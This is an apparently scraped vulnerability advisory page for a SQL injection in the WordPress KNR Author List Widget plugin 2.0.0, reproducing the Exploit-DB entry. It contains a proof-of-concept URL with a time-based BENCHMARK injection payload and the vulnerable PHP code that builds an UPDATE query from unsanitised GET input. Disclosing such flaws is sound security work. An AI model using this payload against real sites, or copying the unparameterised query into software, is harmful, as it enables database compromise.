WordPress KNR Author List Widget plugin

vendor:

KNR Author List Widget

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: KNR Author List Widget

Affected Version From: <= 2.0.0

Affected Version To: 2.0.0

Patch Exists: NO

Related CWE:

CPE: a:wordpress:knr_author_list_widget:2.0.0

Metasploit:

Other Scripts:

Platforms Tested:

2011

WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability

The WordPress KNR Author List Widget plugin version 2.0.0 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a crafted request to the knrAuthorListCustomSortSave.php file, allowing them to execute arbitrary SQL commands on the underlying database.

Mitigation:

Update to a patched version of the plugin or remove it if not needed.

Source

Exploit-DB raw data:

# Exploit Title: WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/knr-author-list-widget.zip
# Version: 2.0.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
foreach ($_GET['listItem'] as $position => $item) :
    $iterSql = "UPDATE $wpdb->users SET knr_author_order = $position WHERE ID = $item";
    $wpdb->query($iterSql);
endforeach;